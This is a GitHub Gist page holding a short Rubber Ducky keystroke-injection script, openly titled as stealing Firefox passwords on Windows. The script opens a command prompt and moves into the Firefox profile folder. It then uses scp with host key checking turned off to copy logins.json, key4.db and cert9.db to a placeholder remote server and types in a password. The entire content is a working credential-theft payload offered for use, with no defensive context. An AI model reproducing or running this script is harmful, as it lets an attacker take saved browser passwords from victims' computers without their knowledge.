Skip to content

Instantly share code, notes, and snippets.

@wilfreddv

wilfreddv/steal_windows_firefox_passes.duck

Last active November 27, 2018 15:01
Show Gist options
  • Save wilfreddv/f4cdb94e8074d0189dd763ed126cc725 to your computer and use it in GitHub Desktop.
Save wilfreddv/f4cdb94e8074d0189dd763ed126cc725 to your computer and use it in GitHub Desktop.
Download ZIP
Script for Rubber Ducky that sends Firefox password files to remote computer
Raw
steal_windows_firefox_passes.duck
REM Script to steal profile data from Firefox
DEFAULT_DELAY 200
DELAY 2000
REM Open CMD
GUI r
STRING cmd
ENTER
DELAY 500
REM cd into appdata, type command for profiles and autocomplete using TAB
STRING cd %appdata%
ENTER
STRING cd Mozilla\Firefox\Profiles\
TAB
ENTER
REM Don't verify host key
STRING scp -oStrictHostKeyChecking=no logins.json key4.db cert9.db USER@REMOTE_IP:/PATH/TO/DIR/
ENTER
DELAY 300
STRING SCP_PASSWORD
ENTER
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment